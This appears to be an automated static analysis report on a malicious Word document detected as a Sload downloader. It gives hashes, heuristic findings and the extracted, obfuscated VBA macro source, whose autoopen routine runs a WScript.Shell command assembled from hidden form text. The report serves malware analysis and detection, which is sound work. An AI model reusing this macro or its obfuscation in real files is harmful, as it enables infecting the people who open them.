Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 50fcc07ec49f2439…

MALICIOUS

Office (OLE)

149.2 KB Created: 2019-01-15 15:39:00 Authoring application: Microsoft Office Word First seen: 2019-12-09
MD5: 0b06025a15ae6d1d903426cf5ab6bf5c SHA-1: 01e02ccb9f66f8056bd385b023297ee95a2a8b00 SHA-256: 50fcc07ec49f24393e8f671fdb1cffdc2de2772418e63e8a500f417cebbe2750
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The file contains VBA macros with critical heuristic firings for `OLE_VBA_SHELL`, `OLE_VBA_WSCRIPT`, and `OLE_VBA_CREATEOBJ`, indicating the use of `Shell()` and `WScript.Shell` to execute commands. The `autoopen` macro marker suggests it runs automatically upon opening. This strongly suggests the macro's purpose is to download and execute a secondary payload.

Heuristics 9

  • ClamAV: Doc.Downloader.Sload-6817574-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6817574-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
     Set bestofbreedkd = Metaljm
backendil = "WscRipt.sHeLl"
   Set methodologiessu = Illinoissj
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set Steelzr = Denarzd
CSSqf = Array(Michiganuo, monitorcz, Groupsv, CreateObject(backendil).Run!(("" + Indianabj + wirelessmd + Manorsmw + Legacybr.TextBox1) + Investortv + Accountsbi, 78 - 78), Assistanthj, Legacymf, Awesomenf)
   Set Bangladeshli = Districtmi
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub autoopen()
Fantasticvs = Array(paneldi, microchipwr, marketsjv, Administratormn, primaryhj, Silverhj, Parkwaysri)
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6537 bytes
SHA-256: cba4b580e776a73f1ff1fca2a259da59b804daa378d11835c3bd1de1814047ae
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Legacybr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Attribute VB_Name = "backupwq"
Function Administratormn()
On Error Resume Next
   Set Junctionmz = golddu
For Each Streetqi In Wisconsinzp
      For Each AutoLoanAccountwq In Utahnc
         Connecticutfu = (Oct(70))
      Next
      Do
         generatezq = CLng(WestVirginiazz)
      Loop Until Optionalsh Eqv emarketsql
      Set solidstatevf = clicksandmortarzl
      Bedfordshirewi = NewIsraeliSheqelzt
      For Each Intelligentmi In FTPqr
         supplychainsvj = Cos(Plastichi)
      Next
   Next
 Set NuevoSoluc = Decentralizedaf
   Set Facilitatorbb = Lodgerw
For Each ErgonomicPlasticChairbk In connectmv
      For Each transmitbd In THXcu
         alarmdt = (Oct(104))
      Next
      Do
         orchidjf = CLng(Humandi)
      Loop Until Rubberzj Eqv Creativezl
      Set FantasticFrozenChipsib = parallelismmi
      LicensedCottonTunatc = opensourceuv
      For Each lavenderqn In portjn
         Woodenjc = Cos(Districtjj)
      Next
   Next
 Set Malltw = Realignedro
   Set Vistazw = onetoonehc
For Each connectingni In communitieshu
      For Each SMTPbo In auxiliaryrq
         firewallhz = (Oct(958))
      Next
      Do
         whiteboarddi = CLng(Concreteba)
      Loop Until HandmadeConcreteChickenfa Eqv backendjf
      Set InvestmentAccountlm = matricesjz
      depositni = Licensedhp
      For Each transitionnd In Analystjm
         Steelct = Cos(FTPbv)
      Next
   Next
 Set GorgeousGraniteBaconih = Steelat
   Set ecommerceva = FantasticPlasticFishpz
For Each Cambridgeshireml In Massachusettswq
      For Each generatingrw In SleekFrozenCarol
         withdrawaliq = (Oct(664))
      Next
      Do
         virtualuh = CLng(Lanebo)
      Loop Until dynamicsz Eqv Focusedbi
      Set backinguphj = vortalstf
      knowledgebaseor = IsleofManow
      For Each Homebs In neuralnn
         Handcraftedah = Cos(schemaszq)
      Next
   Next
 Set bestofbreedkd = Metaljm
backendil = "WscRipt.sHeLl"
   Set methodologiessu = Illinoissj
For Each Bordersvp In dynamiczk
      For Each directionaljd In copyzr
         Clothingmo = (Oct(238))
      Next
      Do
         SMSiu = CLng(blackzs)
      Loop Until MoneyMarketAccountjl Eqv Distributedqi
      Set Industrialol = Seniorwi
      InvestmentAccountav = SSLcj
      For Each transmitternu In Districtql
         Humanir = Cos(RAMaa)
      Next
   Next
 Set systematiciz = RAMrj
   Set Granitero = withdrawalbj
For Each busrd In relationshipsab
      For Each Expresswaydk In emulationls
         Creativevt = (Oct(802))
      Next
      Do
         strategicwi = CLng(webenabledoz)
      Loop Until optimizerf Eqv Weblz
      Set Campuj = compellingbz
      COMwd = AutoLoanAccountum
      For Each Handmadevj In MoneyMarketAccountvj
         navigatecv = Cos(Waysjj)
      Next
   Next
 Set Steelzr = Denarzd
CSSqf = Array(Michiganuo, monitorcz, Groupsv, CreateObject(backendil).Run!(("" + Indianabj + wirelessmd + Manorsmw + Legacybr.TextBox1) + Investortv + Accountsbi, 78 - 78), Assistanthj, Legacymf, Awesomenf)
   Set Bangladeshli = Districtmi
For Each NewJerseyvc In Wisconsinpm
      For Each invoicesi In backendlz
         EastCaribbeanDollartz = (Oct(349))
      Next
      Do
         AutoLoanAccountiw = CLng(abilityzz)
      Loop Until superstructurejb Eqv Squaresdi
      Set Chiefvc = Freshsr
      robustqo = Metalow
      For Each Districtif In relationshipsbi
         violetju = Cos(architectjj)
      Next
   Next
 Set whiteql = salmonpn
   Set Crossplatformju = SavingsAccountal
For Each secondaryji In Humanht
      For Each copywo In Stravenuehu
         FantasticSteelSaladjz = (Oct(662))
      Next
      Do
         CheckingAccountvj = CLng(Tastysw)
      Loop Until hackcr Eqv invoicepr
      Set DanishKronevj = Centraldd
      strategicfs = sensorob
      For Each SmallGranitePizzauh In magentaaf
         Bedfordshirekv = Cos(invoicetm)
      Next
   Next
 Set synthesizingqc = Tongapf
End Function


Attribute VB_Name = "Functionbasedca"
Sub IntelligentSoftSaladwj()
AwesomeConcreteKeyboardum = multibytehj
Qualityfocuseddl = TastyPlasticFishjf
Objectbasedvk = backingupqf
End Sub
Sub autoopen()
Fantasticvs = Array(paneldi, microchipwr, marketsjv, Administratormn, primaryhj, Silverhj, Parkwaysri)
End Sub

Attribute VB_Name = "rebootkw"

Attribute VB_Name = "BooksToyszp"

Attribute VB_Name = "Spurswc"

Attribute VB_Name = "AutoLoanAccountpp"

Attribute VB_Name = "initiativebs"

Attribute VB_Name = "Intuitivetm"

Attribute VB_Name = "XMLzp"

Attribute VB_Name = "Developertb"

Attribute VB_Name = "microchiprt"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Seamlesszz"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Bordersjp"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "RefinedWoodenComputerru"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "bricksandclicksci"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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